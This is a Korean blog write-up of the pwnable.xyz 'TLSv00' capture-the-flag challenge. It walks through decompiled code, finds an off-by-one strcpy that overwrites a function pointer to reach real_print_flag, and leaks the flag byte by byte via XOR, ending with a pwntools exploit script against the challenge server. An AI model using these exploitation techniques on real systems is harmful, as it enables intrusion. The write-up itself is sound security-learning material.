pwnable.xyz - TLSv00

2021. 9. 29. 16:52Pwnable

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // [rsp+Ch] [rbp-4h]

  setup(argc, argv, envp);
  puts("Muahaha you thought I would never make a crypto chal?");
  generate_key(63);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu();
        printf("> ");
        v3 = read_int32();
        if ( v3 != 2 )
          break;
        load_flag();
      }
      if ( v3 > 2 )
        break;
      if ( v3 != 1 )
        goto LABEL_12;
      printf("key len: ");
      v4 = read_int32();
      generate_key(v4);
    }
    if ( v3 == 3 )
    {
      print_flag();
    }
    else if ( v3 != 4 )
    {
LABEL_12:
      puts("Invalid");
    }
  }
}

maibn 코드는 위와 같다.

처음에 63바이트짜리 key를 생성하고,

2를 누르면 flag를 읽어서 key값과 xor 시킨다.

int load_flag()
{
  unsigned int i; // [rsp+8h] [rbp-8h]
  int fd; // [rsp+Ch] [rbp-4h]

  fd = open("/flag", 0);
  if ( fd == -1 )
  {
    puts("Can't open flag");
    exit(1);
  }
  read(fd, flag, 0x40uLL);
  for ( i = 0; i <= 0x3F; ++i )
    flag[i] ^= key[i];
  return close(fd);
}

다만 key 값이 랜덤인지라

unsigned __int64 __fastcall generate_key(int a1)
{
  int i; // [rsp+18h] [rbp-58h]
  int fd; // [rsp+1Ch] [rbp-54h]
  char s[72]; // [rsp+20h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+68h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( a1 > 0 && (unsigned int)a1 <= 0x40 )
  {
    memset(s, 0, sizeof(s));
    fd = open("/dev/urandom", 0);
    if ( fd == -1 )
    {
      puts("Can't open /dev/urandom");
      exit(1);
    }
    read(fd, s, a1);
    for ( i = 0; i < a1; ++i )
    {
      while ( !s[i] )
        read(fd, &s[i], 1uLL);
    }
    strcpy(key, s);
    close(fd);
  }
  else
  {
    puts("Invalid key size");
  }
  return __readfsqword(0x28u) ^ v5;
}

위에서 flag를 읽었다고 해도 어떻게 복화해서 진행해야 할지는 미지수이다.

메모리를 출력할 수 있다면 key부분과 flag를 각각 출력해서 역연산 할 수도 있겠지만, 이는 조금 더 분석을 진행해 봐야 할 것 같다.

또한 3번을 누르면

__int64 print_flag()
{
  __int64 result; // rax

  puts("WARNING: NOT IMPLEMENTED.");
  result = do_comment;
  if ( !do_comment )
  {
    printf("Wanna take a survey instead? ");
    if ( getchar() == 0x79 )
      do_comment = f_do_comment;
    result = do_comment();
  }
  return result;
}

y를 추가로 입력할 시 f_do_comment가 동작하는데

unsigned __int64 f_do_comment()
{
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Enter comment: ");
  read(0, buf, 33uLL);
  return __readfsqword(0x28u) ^ v2;
}

이 또한 canary가 존재해서 어떻게든 사용되기는 하겠지만 그렇게 큰 영향을 미칠 수 있을까 하는 생각이다.

⚡ root@9a02e0bc40b9  /home/ctf  checksec challenge
[*] '/home/ctf/challenge'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

게다가 Full RELRO이다.

got overwrite도 불가능 하다.

int real_print_flag()
{
  return printf("%s", flag);
}

real_print_flag 란 함수가 존재해서 이를 이용하면 flag를 획득할 수 있을 것 같기도 하다.

프로그램 자체가 어렵게 돌아가는 구조가 아니라서 구동 방법이나 분석은 어느정도 진행된 것 같다.

한 가지 발견한 점은, 프로그램을 실행한 후 1. regenerate key 를 1byte로 생성 한 후 flag를 load해도 프로그램이 죽지 않고 정상적으로 동작한다.

unsigned __int64 __fastcall generate_key(int a1)
{
  int i; // [rsp+18h] [rbp-58h]
  int fd; // [rsp+1Ch] [rbp-54h]
  char s[72]; // [rsp+20h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+68h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( a1 > 0 && a1 <= 0x40 )
  {
    memset(s, 0, sizeof(s));
    fd = open("/dev/urandom", 0);
    if ( fd == -1 )
    {
      puts("Can't open /dev/urandom");
      exit(1);
    }
    read(fd, s, a1);
    for ( i = 0; i < a1; ++i )
    {
      while ( !s[i] )
        read(fd, &s[i], 1uLL);
    }
    strcpy(key, s);
    close(fd);
  }
  else
  {
    puts("Invalid key size");
  }
  return __readfsqword(0x28u) ^ v5;
}

out of bound가 나야된다고 생각했지만

코드를 살펴보면 for문제서 i < a1 이라고 정의했기에

입력한 길이만큼만 랜덤에서 뽑아오는 것 같다.

지금까지의 과정을 종합해보면 key를 재생성하면 flag를 print하기만 하면 되고, 따로 key값을 알기 위해 역연산을 진행하지 않아도 될 것이다.

그럼 어떻게 real_print_flag 함수를 호출 할 것인가?

처음에 입력하는 변수 v4를 조작하는것은 read_int32() 함수를 호출하기에 불가능 할 것 이다.

그럼 아직 활용하지 않은 부분은 print_flag 에서 f_do_comment 부분인데,

조금 더 자세히 살펴보면

__int64 print_flag()
{
  __int64 result; // rax

  puts("WARNING: NOT IMPLEMENTED.");
  result = do_comment;
  if ( !do_comment )
  {
    printf("Wanna take a survey instead? ");
    if ( getchar() == 0x79 )
      do_comment = f_do_comment;
    result = do_comment();
  }
  return result;
}

일단 print_flag()함수는 if ( !do_comment ) 조건 문에 의해서 1회만 실행 가능하다.

unsigned __int64 f_do_comment()
{
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Enter comment: ");
  read(0, buf, 33uLL);
  return __readfsqword(0x28u) ^ v2;
}

그리고 실행되게 되면 실제로 comment 입력 창은 뜨지만 입력은 받지 않고, do_comment = f_do_comment; 가 실행되여 do_comment에 f_do_comment 주소가 들어가게 된다.

f_do_comment 함수를 유심히 살펴보던 도중

.text:0000000000000B00 real_print_flag proc near
.text:0000000000000B00 ; __unwind {
.text:0000000000000B00                 push    rbp
.text:0000000000000B01                 mov     rbp, rsp
.text:0000000000000B04                 lea     rsi, flag
.text:0000000000000B0B                 lea     rdi, format     ; "%s"
.text:0000000000000B12                 mov     eax, 0
.text:0000000000000B17                 call    printf
.text:0000000000000B1C                 nop
.text:0000000000000B1D                 pop     rbp
.text:0000000000000B1E                 retn
.text:0000000000000B1E ; } // starts at B00
.text:0000000000000B1E real_print_flag endp
.text:0000000000000B1E
.text:0000000000000B1F
.text:0000000000000B1F ; =============== S U B R O U T I N E =======================================
.text:0000000000000B1F
.text:0000000000000B1F ; Attributes: bp-based frame
.text:0000000000000B1F
.text:0000000000000B1F                 public f_do_comment
.text:0000000000000B1F f_do_comment    proc near               ; DATA XREF: print_flag+39↓o
.text:0000000000000B1F
.text:0000000000000B1F var_34          = dword ptr -34h
.text:0000000000000B1F buf             = byte ptr -30h
.text:0000000000000B1F var_8           = qword ptr -8
.text:0000000000000B1F
.text:0000000000000B1F ; __unwind {
.text:0000000000000B1F                 push    rbp
.text:0000000000000B20                 mov     rbp, rsp
.text:0000000000000B23                 sub     rsp, 40h
.text:0000000000000B27                 mov     rax, fs:28h
.text:0000000000000B30                 mov     [rbp+var_8], rax
.text:0000000000000B34                 xor     eax, eax
.text:0000000000000B36                 lea     rdi, aEnterComment ; "Enter comment: "
.text:0000000000000B3D                 mov     eax, 0
.text:0000000000000B42                 call    printf
.text:0000000000000B47                 mov     [rbp+var_34], 21h ; '!'
.text:0000000000000B4E                 mov     eax, [rbp+var_34]
.text:0000000000000B51                 movsxd  rdx, eax        ; nbytes
.text:0000000000000B54                 lea     rax, [rbp+buf]
.text:0000000000000B58                 mov     rsi, rax        ; buf
.text:0000000000000B5B                 mov     edi, 0          ; fd
.text:0000000000000B60                 call    read
.text:0000000000000B65                 nop
.text:0000000000000B66                 mov     rax, [rbp+var_8]
.text:0000000000000B6A                 xor     rax, fs:28h
.text:0000000000000B73                 jz      short locret_B7A
.text:0000000000000B75                 call    __stack_chk_fail
.text:0000000000000B7A ; ---------------------------------------------------------------------------

real_print_flag 함수의 위치가 너무 예쁘게 뒷자리가 00으로 떨어지는 것을 발견했고, 00을 제외한 나머지 값이 f_do_comment와 일치하는것을 발견했다.

.bss:0000000000202040 key             db 40h dup(?)           ; DATA XREF: generate_key+E4↑o
.bss:0000000000202040                                         ; load_flag+73↑o
.bss:0000000000202080                 public do_comment
.bss:0000000000202080 ; __int64 (*do_comment)(void)
.bss:0000000000202080 do_comment      dq ?                    ; DATA XREF: print_flag+10↑o

key는 최대 0x40개 까지 생성이 가능하지만,.

strcpy(key, s);

끝에 off by one이 일어나기에 f_do_comment값을 real_print_flag로 변조가 가능하다.

그 후에 정상적으로 real_print_flag를 호출할 수 있는 상황이 되었기에

key를 어떻게 복호화 해야 할 것인가가 관건인데

이 또한 strcpy를 활용해서 모든수 xor 0x0 은 원래 수이기에 한바이트씩 flag를 획득할 수 있다.

pay를 작성해보면 아래와 같다.

from pwn import *

r = remote("svc.pwnable.xyz", 30006)
#context.log_level = "debug"
flag = "F"

def generate_key(size) :
    r.sendlineafter("> ", "1")
    r.sendlineafter("len: ", str(size))

def load_flag() :
    r.sendlineafter("> ", "2")

def print_flag(chr) :
    r.sendlineafter("> ", "3")
    r.sendlineafter("? ", chr)

print_flag("y")
generate_key(64)
load_flag()

for i in range(1, 0x3f) :
    generate_key(str(i))
    load_flag()
    print_flag("A")
    flag += r.recv(0x40)[i]
    print(flag)

FLAG라고 생각되는 값을 따냈는데 인증이 안된다.

터미널을 여러개 돌려보니 값이 다 다르다

여러개를 조합해본 결과

 

이 FLAG였다.. 컴퓨터는 거짓말을 하지 않는다고 맨날 하는데 왜 이런 결과가 나오는진 항상 이상하다..

예전에 redvelvet인가 그 문제도 뭔가 flag값에서 오류가 있었던걸로 기억나는데 이러한 약간의 오류? 계산 문제들은 왜 발생할까..?


암튼 재미있는 문제였다 🙂

'Pwnable' 카테고리의 다른 글

dreamhack.io - iofile_aw  (0) 2021.10.06
pwnable.xyz - SUS  (0) 2021.09.30
dreamhack.io - tcache_dup  (0) 2021.09.26
pwnable.xyz - note  (0) 2021.09.11
dreamhack.io - house_of_spirit  (0) 2021.09.08